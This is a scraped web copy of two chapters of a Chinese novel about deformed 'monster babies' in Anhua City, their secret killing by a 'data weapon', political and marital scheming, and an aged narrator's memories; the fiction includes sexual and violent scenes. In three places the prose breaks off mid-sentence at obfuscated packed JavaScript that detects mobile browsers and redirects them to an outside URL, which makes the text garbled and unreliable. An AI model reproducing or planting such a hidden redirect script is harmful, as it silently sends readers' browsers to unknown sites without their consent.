这群信奉科学主义的人类,被医院新生儿产房里的场景吓得四肢瘫软,许多父母将自己的孩子遗弃在医院,再也不肯抚养和相见,只得政府出面设立专门的研究中心,将安化厂的这些怪婴集中起来照料、研究。 随着怪婴越来越多,各方议论愈演愈烈,末日论、阴谋论层出不穷。黄豆豆当局经过多次会议商定,将安化城划为重点隔离区,与外界和周边筑起高墙,凡曾孕育过怪婴的男女及直系亲眷,不可离开安化城半步。 安化厂也算是正式更名为安化城。由厂变城,安化这方天地,似乎仍摆脱不了与死亡、怪诞纠缠的命运。 这里就要提到梁露所生产的孩子了。孩子刚一出生时看起来是非常正常的男孩儿,可是,就在医生将梁露的脐带切断的几分钟之后,这个男孩的眼睛里便冒出了非常多的虫卵,随之便是耳朵,随之便是他浑身的毛孔,密密麻麻,仿佛一个被虫卵包裹起来的蜂巢。 这也是庄立春为什么会回避去见梁露的原因。因为庄立春天生有非常严重的密集恐惧症,他是断然见不得这个孩子的,见这个孩子会让他觉得自己浑身的骨头在被一万只蚂蚁啃咬,汗毛耸立,头皮欲裂。而且,自打他看了小马从医院里发回来的照片的那一刻开始,他的脑海中便日日夜夜浮现出那孩子的模样。小小的身体,浑身被虫卵布满,所有的毛孔都被张开,圆圆的无数颗,像一万根针扎进庄立春的眼睛,拔不出来。 他并非一个绝不想尽责的父亲,他也曾偷偷跑到医院,想要去看望和接纳这个孩子。可是当他站在病房门外,透过那一孔圆圆的玻璃看向里面时,整个人瞬间惊恐得仿佛灵魂出窍。而此时,刚好值班的小莲发现了他,将魂不附体的他扶进了治疗室里。在治疗室年已五十有余的他,西装革履、浑身虚汗,小莲贴心地为他褪去外套、松解领带,他因本能的恐惧紧紧抱住犹如救命稻草的小莲。他虽然已经年老,体魄却尚如三十壮年,饱满的小莲就这样被他紧紧禁锢着,几乎不能呼吸,她因缺氧而挣扎,却反而激起他沉默的欲望。 小莲的存在,何曼珠也是知道的,庄立春从不向她隐瞒情色之事。何曼珠这些年闷声打拼,默默从安化厂进入政治圈层,同是体系之内,显然庄立春这个落魄厂长,是比不得何曼珠这个环保副局长的实权的,但两人的夫妻关系中,庄立春似乎永远是大权在握的高位者姿态。二人每每共同出现在公众面前,庄立春必然是西装革履昂首阔步在前,何曼珠则是素静的公职套装,温婉内敛地陪在旁边。他身形高大,她瘦瘦小小得倒像是他的影子。 怪婴连年增多,哪怕政府的新闻和板报里,一直在倡导禁生,仍阻碍不了女人们的原始冲动,和男人们传宗接代的梦想。 安化城的市长空缺,副市长又是个旁系调任的滑头,庞大的政务体系中,反倒是何曼珠最是尽职尽责。而她的目标远不止治理空气、改良怪婴这么简单。 柳常清找到何曼珠。 「局长,我倒有一招立竿见影的险棋,只是需要您拿点诚意来做交换。」 「你要什么?」 「我要做政府顾问。」 「只要个虚名?」 「是的。」 「柳常清,龙九死后,你鸠占鹊巢吞下了他这么大的产业。抱歉,我不和小人做交易。」 「何局,看人不能只看一时啊,这产业若让渡给旁人,未必会比我柳某人经营得好,而且我这些年对安化厂做了多少事情,您和大家可看得清清楚楚啊。况且,我柳某不好女色、遵纪守法,光是这点就已胜过全天下多数常人了。何局,给柳某个机会吧。」 何曼珠对于柳常清拙劣的话术没有好脸色,于是针锋相对道:「好色嘛,任何时代都是人之常情,就算是在思想禁严期间,食色也是当局完全允许之事。但柳董事高风亮节,我怕是都要自愧不如的。」 「何局,真会说笑。」 「彼此彼此。」 「这样吧,我先说,何局您听,听完觉得可用,咱们再做交易,如何?」 「你就不怕,我听了找旁人去做?」 「此事,只有我柳某能做。」 何曼珠沉默良久。「你讲。」 「我个人呢,其实一直在潜心做科技研究,而近日我恰好研究出一种数据武器。在如今的社会,咱们普通老百姓活而不自知,但您身在体系内,肯定是知道的,万事万物,在体系内无外乎几行数据。而我的这件武器就可以精准地杀死这些数据,可以是一个字符,也可以是一行,甚至可以是一片。」 「你想杀了那些怪婴?」 「我知道您一定在想,这只是权宜之计,治标不治本,但何局,治理空气的目标不就是别再有怪婴诞生吗?那治标和治本有分别吗?您放心,我可以保证这些孩子在孕妇肚子里,基因刚检测出来的当下,就被杀死,那时它们还没成形呢。治理空气需要十年甚至更久,而这招虽险,却只要一年。到时您飞黄腾达,我愿鞍前马后,永远做您的顾问。」 「你要的,就只是一个顾问名头?」 「我出身陋巷,十岁辍学,十七岁跟随龙九当保安,现在有了金钱,我就想尝尝这体系内的权力到底是什么滋味。」 这话何曼珠显然不会全信,但真真假假对她而言并不重要,就如同她当年选择庄立春一样。她要考虑的是如何趋利避害,为自己谋求最大利益。 我刚在讲堂翻开教本,又是一张假条递过来。 「预产期确定了吗?」 「嗯,定下了,林老师。」 「行吧,要照顾好自己身子。」 「谢谢林老师,等我生产了,我还会回来继续听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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小莲愤然抽身离开,□□地下车,赤条条地,如同一个战败沙场但意志坚韧的女战士,昂首阔步地走在大街上。当时正值盛夏时节,蝉鸣阵阵的仲夜,男女老少零零落落地坐在自家门前乘凉。小莲就那样昂扬着赤裸的身体、摇晃着□□,从所有人面前经过。 怒意正浓的小马没有驱车去追赶她,而是下车跳进了河水里。 第二天,人们在河边发现了小马的尸体。尽管车上有小莲的痕迹,但显然她拥有充足的不在场证明,而且整条路旁的居民都可以作证。 小马自杀的判定很快落实。 小莲也在冰冷的太平间,给了爱人最后一个温热的吻。 而当夜,一位新来的实习男医生就被她牵进了治疗室。 庄立春依然没有放弃传宗接代的念头,但他放弃了梁露,男人总是如此,从不认为是自己的原因。 男医生走后,后半夜,庄立春悄然而至,他们犹如接力赛的选手,而小莲就是那根接力棒。 「小莲,做我的爱人吧,我想和你有一个孩子。」 「孩子?为什么要有孩子?」 「难道你不想吗?」 「那是傻瓜女人才会有的想法。我才不要呢。」 「可有了孩子,你的生命才会完整,而且能孕育生命,这是多么伟大的事情啊。」 「让别人完整和伟大去吧,我才不要呢,我还没玩够呢。」 「玩?你果然还是小孩子。」 「是你把我当成小孩子了吧,庄立春,男欢女爱的事情我是喜欢,但不代表我喜欢你,就算我喜欢你,也不代表我愿意给你生孩子,我自己就是生下来被抛弃的。」 「小莲,你要相信,我和你绝不会做那样生而不养的父母。」 「相信?你要不要听听自己在说什么?梁露可是刚出院没多久,我在这里做护士也不是一两天,生产前,你每天夜里都会来陪她,可谓是嘘寒问暖无微不至,那时的我甚至还有几刻曾觉得,你虽然年纪大还出轨,但模样还算好,人也体贴,却也是个值得托付的人,我对你起过念头,这也是为什么即使看到你后来对梁露那样,我依然愿意爬向你身体的原因,食色而已。没想到你却当了真,一把年纪,你还真是天真。我不是梁露,她一辈子被圈在学校里,涉世未深,而我却不同,我读的末流学校,可比她们的学校要混乱的多,你尝过被人剃光头发的滋味吗?你尝过被人泼粪水的味道吗?肯定没有,但我有,因为他们都知道我是被父母抛弃的野孩子,即使有养父母也终究不是亲的。梁露愿意给你生孩子,那是她蠢笨,结果生了个怪物,换来你连面都不肯见一面,难得来了竟然在医院里和我缠绵,她的前车之鉴历历在目,你凭什么让我相信你?」 庄立春被小莲辩驳得哑口无言,显然男人们总是轻易低估那些外表看起来娇小可人的女子。他们总狂妄自大地以为她们都是极度天真的、顺从的、言听计从的,所以每当这些女子显露出独立强势的一面时,男人们经常会瞬间败下阵来。 有些男人,总以为女人是掌中玩物,殊不知,自己才是被玩弄的那个。 31. 南山 庄念秋再次从羊城回来了,她受中央科研院指派进了怪婴研究所。 同在安化城,两兄妹却始终没见面。 玫瑰和管红军的教堂越建越宏伟,玫瑰自己担任教会的主理人,庄念秋佩戴十字架前去忏悔。流年匆匆,两个命运几多相似的女人一见如故。庄念秋除研究院工作外,认下了教堂圣女的身份。 玫瑰为她修洁白身像,立在教堂的偏角,与自己的身像并肩而立。 女人们总是相信一见钟情的,无论爱情,抑或友情。 而这并非没有道理,女人天生敏锐,尤其在识人方面,她们有超越豹子的嗅觉和鹰的眼睛,还有异于蝙蝠的听感,当一个人站在她们面前时,犹如被一台精密的仪器快速扫描,而这甚至连她们自己都不知晓,她们只称之为第六感或是直觉。实则是创世之神赋予她们的天赋。 神,在最初是偏爱女子的,可她们却总是自废武功,而热衷于在苦难中涅槃成长。这令我时常摸不着头脑。 作为曾经富春江事件的亲历者,庄念秋暗暗将两件事情关联起来,寻求解法。她提出,或许一切怪婴都源自同一个母体,若想解决怪婴,首先要找到那个母体。 此言一出,研究院内众声雀起。 「毫无依据的事情怎么查?」 「是啊,就凭你一句,我们之前辛苦做的研究就白费了?」 「还真是外来的和尚会念经。」 面对争议,庄念秋并不退缩,她摘下眼镜,冷静应对道:「各位同僚,我只是提出个人观点,并没有要求你们放弃现在的研究。既然我有新的思路,那我们可按各自的研究方向继续走下去,更多的尝试,也就意味着更多的希望。」 她在现场发出邀请:「有哪位愿和我进行这个研究吗?」 话音落,全场寂静。 良久,角落里一个矮小的男青年,默默举起手来。他看起来不十分坚定。 庄念秋柔声确认:「你想好了?」 众人锋利的眼神纷纷向他投来。 男青年名叫南山,家族世代行医的他,天资不高,样貌、身形也都是末等,是父母口中的家门不幸。从家庭、学校、医院,到如今的研究院,他处处受人排挤,好在他生性钝感,摇摇晃晃也撑到了现在。 庄念秋是他给自己的一次尝试。 他点点头。 「欢迎你的加入。」 庄念秋与南山先是去了红气球的所在地,时隔多年,那里已经变成了垃圾堆积场。 他们提取了附近的多处样本,带回实验室检验。 回程汽车的收音机里传来吕文羽新发表的钢琴曲,庄念秋摇下车窗,风灌进来,她脑海中浮现出许多故人的影子。 她低声问南山:「你说,人们在明知的苦难中,却习惯性选择沉默,是为什么?」 南山紧盯着前路:「斗争是需要勇气的,混吃等死显然更容易。」 「如果已经有人为此丧命呢?」 「庄博士,咱们是做医生的,你应该知道的,人人最终都会死,只不过是早晚的分别,何必为别人的一点分别,而葬送自己呢?或许这就是大多数人的想法吧。」 「可我一直坚信自己和他们不一样。」 「世人千万象,没有谁和谁是绝对相同的,但也不存在绝对的不同。」 「小南,你应该去进修哲学的。」 「本意如此,奈何身不由己。」 「家里不同意?」 「庄博士,我家族六代行医,出过数十名医界名手,甚至我父亲、叔叔、堂兄、姑姑,所谋婚姻,也都是嫁娶的医学系统之内。如果他们听到我意欲放弃医学,怕是要杀我灭口、宗谱除名了。到时就写个逆子南山,医资愚笨,英年早逝。」 「并非所有人都当得起父母二字,如此般已然走火入魔的家庭,祝你早日抽身。」 「所以我一直在想,如果人能合法合理地与自己的父母情愿断绝关系就好了。为什么人必须以生下来就得是谁和谁的孩子,或是谁和谁的孙子呢?我只是我自己,一个拥有独立灵魂的肉体凡胎难道不可以吗?」 「谈何容易?婴儿时你无法解决温饱,幼年时又缺乏自我保护的能力,少年时分不清善恶,容易被蛊惑误入歧途,若真给你绝对自由,你当如何生存?」 「那就生死有命,我不怕死,我只怕不自由。」 「既然你死都不怕,为何不试着反抗家族的桎梏呢?」 「我……」南山一时回答不出。他自己甚至都理不清楚,如此懦弱的缘由。 庄念秋为其解释:「或许连你自己都没意识到,你家族的训诫、规立,早已内化成你身体中的一把戒尺。你厌恶家族渴望逃离,却又极度地想要得到其认同。这并不怪你,而是源自家庭自小对你的忽视与贬低。你有没有想过,能被选中进到这个研究院的,怎么可能会是个末流医生呢?你觉得我是吗?」 「你当然不是。」 「那其他人呢?」 「大家都非常优秀。」 「所以为什么偏偏你是例外?」 「或许……是因为我家族的关系……」 「你的家族都以你为耻,恨不能你英年早亡了,怎么可能为你费心思打点关系?而且如你所说,从读书、医院、研究院,众人都排挤你,说明人人都知道你是家族弃子。他们都敢欺负你,又怎么会因为你那名存实亡的家族关系,任用你呢?」 「所以……我也很优秀?」 「当然。我可不是乱说,你进我的组,我必然是要了解一下你过往的医学论作的。我可以很客观地讲,你,确实不错。」 这是南山在三十年的时光里,第一次被如此认真地肯定,他随即停下车,熄了火,坐在驾驶室里嚎啕大哭起来。 庄念秋则一语不发,继续听着吕文羽的钢琴曲,望向窗外赤红的晚霞。 这首曲子就是古秀梅的伙伴们制作的。她们的战争,显然颇具成效。 古秀梅每天晨跑后出门,和各界制作人碰面,彼此交换创作灵感,推进文影曲画的宣传,还要穿梭于各个城市,接触新的文艺创作和演绎者,更要维持正面战场的一切事宜,宣讲、参会、作各种报告。她除了头发花白了些,几乎看不出来衰老的痕迹。 而我已经年老到除了支撑讲课和写作,再没有精力做任何事情了,甚至吃饭偶尔都成为问题。古秀梅不来接我放学的那些午后和傍晚,我的青年学生们时常会看到一个撑着拐杖的糟老头,歪歪扭扭地挪去食堂,然后在熙攘的人群里打一份职工套餐,还要请人帮忙端到餐桌。我将随身带的手帕掖进领口,绝不是出于什么就餐礼仪,只是近几年嘴唇松散兜不住东西,经常口水混着咀嚼中的食物,稀稀拉拉洒得到处都是。 好在这些青年虽然迷茫,但心思单纯善良,从没人为此嘲弄过我老头子。 柳常清的计划开始实行,而被选中的第一个怪婴,就是梁露的孩子。这个孩子是何曼珠亲自选择的,出于私心,她想除掉庄立春和梁露之间的嫌隙。她知道庄立春在小莲处碰了壁,此刻正心灰意冷,而她厌恶和一个颓丧萎靡的丈夫同床共枕。几个月以来,庄立春仿佛被阉割的公狗般,日夜不分地瘫痪在家中客厅的沙发上,碧绿的啤酒瓶散落满地,他蓬头垢面,双目如死灰。 「一具同样会生老病死的□□而已,冠之以『子孙后代』的名义后,仿佛瞬间拥有了非同寻常的情感和意义。亿万年前,万物同源,若真论究起来,全世界谁和谁之间还没有点血亲关系,想要孙子儿子遍地都是,非得执着于那一张直系血缘证明。」 郊外的别墅里,保姆那边传来孩子突然停止呼吸的求救,梁露赶紧从卧房里爬起来,冲向婴儿室,保安小牛也闻声从大门口冲进来。 孩子离去,梁露痛不欲生,而庄立春接到电话,却突然松了一口气,心中瞬时畅然。他暗中命令小牛赶紧将婴孩处理,并开酒庆祝,饮酒后,他驾车前往别墅,看到还在痛苦中消沉的梁露。 庄立春走上前去,将她揽进怀里,轻声安慰:「没关系的,我们还会有下一个孩子的。」 梁露听着眼前人的话语,心中却早已不复从前的纯真。她心头有一句话: 「不,我不会再和你有孩子了。这个孩子从出生到死亡,你甚至都不曾凑近瞧他一眼。我凭什么还要再为你生孩子?」 可她压制了哭腔,佯装乖巧地问:「你还愿意和我有孩子吗?」 庄立春答得情真意切:「当然,我一直愿意。」 梁露只觉得眼前的庄立春十分陌生,别说是她,我也觉得庄立春十分陌生。过了五十五岁的庄立春,不知为何掉进了繁衍生子的漩涡里,他仿佛不再是从前的他,甚至自从沉浸于生孩子这件事之后,他都无心再去指导管红军的庞大产业。 这让我很难将他与那个曾经机关算尽的小镇青年联系在一起。 所以说,男性的基因还真是存在某一种魔力。 如果说女人基因的劣根性是喜欢牺牲自我、奉养他人,那男性基因的劣根性大概就是自命不凡、传宗接代吧。 紧接着是更多的怪婴陆续死亡。 研究院里紧急召集专项小组,调查怪婴的死亡原因。而最终的结果却是所有人都没有想到:怪婴并非死于中毒,而是集体死于心脏骤停。很快,这份死亡名单和报告明细便被送往政府各部门的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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俗套的爱情在这两人之间并没有发生。庄念秋眼里,南山就是一个普普通通的医学青年,是自己的助手、朋友、伙伴。而在南山眼里,庄念秋是自己在医学领域的向导、恩师,是精神领袖。 这项有违伦理的实验必然是默默进行的。两人都已经做好了最坏的打算,南山做好了成为刽子手,最终被判刑入狱的预期。而庄念秋则已做好了变成怪物,随时结束生命的准备。 在人类文明的历史长河中,正是因为有这样高尚的牺牲者存在,才使得「人类」这两个字不同于其他的生命,有了最独特的意义。 半年后,数千名怪婴只剩下不足十余人。 而更为关键的是,安化城内在过去半年没有任何一例新的怪婴诞生。 这归功于娃娃的精准谋杀。 但除了何曼珠和柳常清之外,没有任何人知道这个秘密。 何曼珠在电视节目上公开认领了这一伟大的成就。她表示自己和柳常清的公司合作研发出了一款绝对安全的空气净化程序,并于过去半年在安化城中试行。至于效果,安化城的所有居民自然是有目共睹的。空气似乎依然还是那个空气,但是从怪婴产生的数据上来看,何曼珠确实是没有撒谎的。 虽然没有人见过或真实的体验到,何曼珠口中所说的空气净化程序到底是什么?但所有人都深信不疑。 于是被蒙在鼓里的群众开始热烈欢呼,政府牵头、管红军出资摆起长街宴,全城的人都走出家门,来到街上,彼此吃酒、唱歌、跳舞,从白天持续到凌晨,隐约有几分当年欢愉城的影子。安化城的人们高举酒杯,庆祝这座英雄城市再次转危为安、归于平常,也高呼科学万岁,他们终于可以再次相信科学,太棒了,这次又是科学拯救了人类。 一年之后,怪婴已经从安化城彻底消失,研究所人去楼空。南山重新回到了医院,而庄念秋则主动申请也进了安化医院。 庄念秋的身体似乎并没有发生什么特别明显的变化。南山仍然每隔两天记录她全身的组织采样检测数据,表面一切正常。可庄念秋的皮肤却离奇地生出了许多灰褐色的斑点。起初两人都认为那是正常的老年斑,可是它们实在是太过密集。直到几个月后,这些斑点之间成片成片地相连在一起。庄念秋肩膀以下的皮肤已经全部都变成了灰褐色。 南山望着庄念秋近乎变异的皮肤,震惊得迟迟讲不出话来。 庄念秋却泰然自若,她指导南山拍照记录,并亲自用柳叶刀生割下了自己的几处皮肤,来做活体组织研究。 几天后,扎根在实验室里的庄念秋陷入失望。皮肤组织的检验结果是正常的色素分泌。 何曼珠如愿升迁。 柳常清向其道贺:「恭喜,何市长。」 32. 海棠 龙七回来了。 低调的黑色汽车驶进艺术大学的校门,停在行政楼前。等候多时的龙四大步上前去开门,他情感饱满地喊道:「回来了,老七。」 「嗯。」龙七却淡淡的。 「一晃十几年过去了,这些年我常从报纸上读你的文章,写得真好。咱们几个兄弟当中,你是最出色的。平民入仕,古往今来都是凤毛麟角。」 「机缘巧合罢了。」 「老七,这次回来打算待多久?」 「来是为办事,学校的资料库审核完,我就回了。」 「不急不急,多待几天,爷爷奶奶也都很想你呢。」 「家就不回了,局里还有别的事需要我处理,这边要速战速决,跟你闲聊已经耽误时间了。」 龙四的脸色有些难堪,但他调整很快。「是是,四哥我打小就啰嗦、没正事儿,你也是知道的,多包涵多包涵,我这就安排人带你们去档案楼。」 两个都不重感情的人,偏偏做了亲兄弟,不知是幸还是不幸。 浓妆加身的梁露再次怀孕,庄立春高兴至极,为她置办了许多新裙子和项链耳环。 庄立春欢喜地离开别墅,想去告诉何曼珠这个好消息。殊不知他前脚刚离开,保安小牛便爬进了梁露的裙底。 可怜的梁露,她所能想到的报复,也不过是将自己的身体交到另一个更不入流的男人手里。她那被学识塞满的脑袋里,哪怕曾有一刻清醒独立的念头呢,都不至于落得如今令人唏嘘的地步。历史系第一的才女,校园里追求她的优秀男生排成长队,她却熟视无睹,琳琅满目的鲜果不予理会,而抢着去吃那泥巴地里的烂苹果。 有时实在想骂她自轻自贱,但为人师表,且命数天定,她也是身不由己。 何曼珠听到消息,并未显出高兴的神情。她从抽屉里拿出几张纸,递给庄立春。 「财产都归你,签字吧。」 是离婚协议。 何曼珠很清楚,如今庄立春已经毫无用处。而她想向更高的权力中心走,此刻,她的队友显然有更合适的人选。 庄立春经历人生中第二次被离婚。他并非不能接受,毕竟当下他最重要的心愿已经达成,他只是不甘心自己成为被抛弃的一方。 「何曼珠,你面如观音,心若蛇蝎,世间哪有女人做成你这副模样的,自私自利、谋权算计,如若不是攀上了我,你何以会有今天的位置。靠着男人一步步往上爬,你实在令人不齿。」 「你我夫妻一场,好聚好散,何必恶言相向,你讲我女人做成这样是可耻的,那你自己呢,又比我好到哪里去。你们男人可以靠关系、靠女人、靠虚情假意、满腹计谋爬上高位,为什么我不能?凭什么我不能!同样的事情,你们男人做是天经地义人间正道,我们女人就该千夫所指,告诉你,我不认。我何曼珠,既然生了这幅女人皮囊,我就要用它让世人看看,女人,也可以站到权利的顶层。是的,我就是利用了你,而且我就是精于算计、自私逐利,那又如何。况且难道你没从我这里获利吗?你要不要仔细想想,和我在一起,你过得简直不要太顺心遂意,哪个女人会像我这样包容你、顺从你。别家的婚姻柴米油盐鸡飞狗跳,我何曾让你烦恼过一分。你好事占尽,如今却来评论我的为人处事,骂我令人不齿,你,庄立春,一个彻头彻尾的、道貌岸然的虚伪之徒,有什么资格评判我的为人。」 「就凭我是你丈夫,就凭这个男性为尊的社会!何曼珠,别以为讲两句野心勃勃的话,就可以不知天高地厚了。我告诉你,你到不了想去的位置,我也绝不会让你到那个位置,你将永远低从于我。」 「庄立春,你应该想想清楚,既然我敢提出来,说明我已经有了离开你的筹码,我也好心奉劝你,这婚还是痛快离了吧,你拦不住的。」 「那我也可以告诉你,绝不可能。」 何曼珠拿起桌上电话,当着庄立春的面拨通号码。 「梁露又怀孕了,有没有什么既不让她流产,又可以给庄立春警告的方法。嗯。一小时后就安排上吧。」 挂断电话,何曼珠提醒道:「劝你赶紧回别墅,不然一小时后,如果梁露不能及时送到医院,你的孩子恐怕是保不住的。」 庄立春心有怀疑,但不敢冒险,匆匆赶回别墅。 正好一小时,庄立春刚停下车,别墅里传来梁露的惨叫,她□□正渗出鲜红的血。 抢救之后,庄立春签字离婚。 何曼珠与柳常清登记为夫妻。 历史教室里的学生越来越少。窗外的海棠花又开了,我让男孩女孩们把窗户打开,认真品味花香,他们对于这种书本以外的事情总是欣喜若狂。 几年之后,有一个名叫海棠的青年女人,来到安化城。那时的我已经老得看不清也听不明了,我坐在街边晒太阳,她从老远处小跑过来,她说自己正在寻找姐姐沙华,沙华在幼年时离家出走,已经三十余载。我问她沙华长什么样子,她大声喊道:「眼睛大大的,嘴巴小小的,头发黑黑的,她有点凶,很叛逆,但喜欢笑。」我非常抱歉地告诉她,自己不认识沙华。 但她却十分笃定地说:「不,你知道,我知道你知道。」 我摸不着头脑,事实上,那时的我的确也没了头发,安化城闹资源危机,头发也成了紧俏物资,为了避免被人抢去,我提前剪去,藏在家里的马桶水箱里了。不止是我,安化城的许多人都这么干了,不止安化城,全世界都陷入危机,因为全世界都变成了光头。海棠也是光头,不过她戴了一顶好看的针织帽,所以不容易被发现。 头发为什么会成为稀缺资源呢?这就说来话长,文艺复兴之后,世人陷入精神沉沦的漩涡里,小娱怡情大娱伤身,伤身也就伤肾。白天工作,夜晚饮酒嗨歌、热舞游戏,肾脏很快招架不住,当然不止肾脏,所有器官都开始节节败退,各种疾病紧随而来。肾脏过度消耗,人类便开始疯狂掉头发,也就是脱发,可秃顶实在不美观,于是植发产业应运而生,并在短短几个月席卷全球,可植发需要原材料啊,真发必然是有限的,于是各种合成工业发层出不穷,海量生产。原本只用来供应发电、避孕套、汽车轮胎的能源,如今要用以生产需求日益庞大的假发。而随着假发需求的猛增,很快,能源就宣布告急。 为保证发电、避孕套和汽车轮胎的生产,全球各国联合商议决定,推行非政府人员光头制度。明令禁止普通老百姓留头发,强制剃头,并低价回收真发,用以给政府人员持续稀疏的头顶做补充和储备。 普通老百姓敢怒不敢言,齐齐息声剃光头,但谁也不愿意将仅有的真发卖出去,毕竟自古以来,人还是讲究个入土完整。人们大多选择将真发私藏起来,为的就是有朝一日驾鹤西去,可以给自己留个完整。 如今的头发,无异于封建时宦官们的命根子。 我与海棠再三强调:「我真的没见过沙华。」 「怎么可能,姐姐说过,就是你,瘦瘦的脸奇丑无比,两只癞蛤蟆般的眼睛,肥肠嘴唇,鹰钩鼻子,背弯得像一把镰刀,而且讲话还时不时流口水,没错的呀。」 我很是不悦。「你姐姐还真是够会形容人的,我有那么糟老头吗?」 「你看,承认了吧,你就是认识姐姐。」 「没有,我只是不满这个描述,我当真不认识你家阿姐。」 海棠眼见着露出失望的神情。「难不成,真是我找错了?」 「一定是的,小姑娘,我老头子记忆是这世间最好的,若是我见过的人,是断然不会忘的。」 「可是……」 「别灰心,这条街往前走,过两个路口是派出所,里面有安化城所有人的消息,你可以去那里问问。」 海棠瞬间活力起来。「嗯,我一定要找到姐姐,那我去了,谢谢丑爷爷。」 我一时气得咳嗽起来,若不是无力挥动拐杖,我真想给这丫头一闷棍。也不知是谁家的教养,竟教得这般执拗、不懂礼貌。 窗外的海棠落了,历史课也临到尾声。学生们欢喜地收拾书本,从春天跑进夏天里。 龙四来教室门口接我,他白净的脸上落满阳光,像是彼岸的引渡人。 「爷爷,我有事求你。」 「想要什么?」 「我最近从旁处听到了一个故事,关于一条美人鱼,不知道你有没有听过。」 「这是人的世界,哪里来的美人鱼。」 龙四从口袋里摸出几张照片,正是吴侑珍被囚困在袁大头家时被拍下的。「许多年前,安化厂还正值风光时,曾经有一个叫吴侑珍的女人,她是当时税务局陈传富的情人,后来与人私奔,等两人再次回来时就变成了人身鱼尾的异形。他们当时住在城北的土地庙,而就在一个月圆之夜后,吴侑珍竟然奇迹般地恢复了。我查过了,在此期间,吴侑珍除了陈传富他们,只和您来往过。我记得小时候,你总是给我们讲一些绮丽诡谲的旧故事,那时候我只觉得稀奇好玩,而现在我想问问您,您,不是普通人,对吗?或者说,你是普通人,但你有异于常人的能力,对吗?」 「我们来往,是因为吴侑珍和小李私定终身,是我见证,两人拿我当兄长。你以为的什么异于常人的能力,如若我真的有,我们家也不至于至今还缩居在这破旧的小房子里。四崽儿啊,你想想,这许多年聪明人那么多,我若真有异能,还会安稳呆到现在么?」 「爷爷,我可是您亲孙子,就不要瞒我了。我也直说,放心,我不是要您帮我做什么违法的事情,我只是想让你把我和龙七换个身份。」 「七崽儿回来了?」 「放心吧,他不会回来看你们的。人家一门心思只想着干完那点公务就走,甚至连我都懒得搭理,多说两句话,还嫌我耽误他时间呢。哪像我,时时刻刻都想着您和奶奶,嘘寒问暖,端茶送水。你想一想,只要你把我和他互换了身份,我呢,就去吃苦做官,他呢,就可以回来享福陪您,况且你不是也想见他吗。」 眼见小四变成这样,我心中没有愤怒,只有后悔。后悔自己当初不应该纵容有饭留下这么多孩子,也后悔自己的教养不够正派。 我最是不屑与这样的无耻之徒为伍。如今,自己的家族里竟生出了这么一个卑劣的家伙。如果我现在手里有把枪,大概会毫不犹豫地扣下扳机,用一枚子弹射穿他的脑袋。古秀梅知道了,她也会支持我这样做的,可我手里没有枪,因为私人持枪不合法。我已经变老了,若是两两搏斗,我是一点打不过他的,我倒是满脑子拥有许多的智慧,可在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422506|184777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝对的力量压制面前,再多的智慧都显得微薄。 龙四眼见我毫无反应,便又继续开始攻略:「奶奶不是一直想推行全民票选制吗?龙七坐在那个位置上,却什么忙都不肯帮。如果我到了□□,一定会帮奶奶完成愿望。爷爷,您不是最爱奶奶了吗,帮我就是在帮她。」 「奶奶不是你,她凡事从不投机取巧,只靠自己的真本领。我从未想过你会变成这副模样,也是怪我教导不良。你想做什么,就去做吧,但我是帮不了你的。你所说的那些奇异能力,我都没有,我只有一具苍老的身体。如果你要这身体,你且拿去。若你不要,那我可回去做饭了,再迟一些,你奶奶该到家了,到时桌上没有热饭可不行。」 老四最终没有拦下我。而我摇摇晃晃地走出校园,走在街上,我望着已经天翻地覆的安化城,猛然怀念起从前在安化厂的日子,那时候的人,虽然思想禁锢,甚至有些原始,但都还是简单的,坏有坏的简单,蠢也蠢得简单,那时候的坏人,总不至于将这些腌臜心思用在自己家人身上。 街道被太阳晒得软绵绵的。我的拐杖戳下去,柏油路落下一颗颗的洞,在我的身后连成一串。我回过身去,远远望着一条黑色的锁链,将我和另一端的学校连在一起。 我仿佛一张随时会起飞的风筝,而这锁链,就是我风筝的线。我希望这条线不是锁在学校里,而是握在古秀梅的手里。可古秀梅她太忙了,她不可能站在某一个固定的地点等着我。我和她之间,更多的时候,是我站在固定的地点等她。她到处地飞,而我就眼巴巴地望着她,像矗立在海边的灯塔,等待她随时的回航,也目送她随时的远去。 我想,这种等待大概就是幸福吧。 真好,古秀梅又让我尝到了幸福的味道。 柏油路上的我也被太阳晒得软绵绵的。我那陈年失修的骨头,忽然变得灵活起来。慢慢的,我好像可以直起那宛如镰刀的脊背,我的眼睛也不再显得突兀,皮肤的褶皱仿佛也没有那么凌厉了。我试图昂起头往前走,终于,我好像做到了。我站在太阳底下,重新拥有年轻时的生机,我感到自己,虽然沉闷,但仿佛重获了力量。 我迫切地想告诉古秀梅这个好消息,可不知为何,走着走着,我却来到了郊外的墓地。 在这里,埋葬着我过往的孩子、孙子、同事、挚友。 作为一个客观的历史记录者,我自然知道人死即湮灭,空无一物,没有灵魂,没有往生,消失得如同从没有来过。可是为什么呢,我站在这里,感到他们就在身旁,将我围成一圈,将我高高抱起,将我推向天空,又将我稳稳地接住。 每一次的出生,我都是赤条条来。 每一次的死亡,我都是赤条条走。 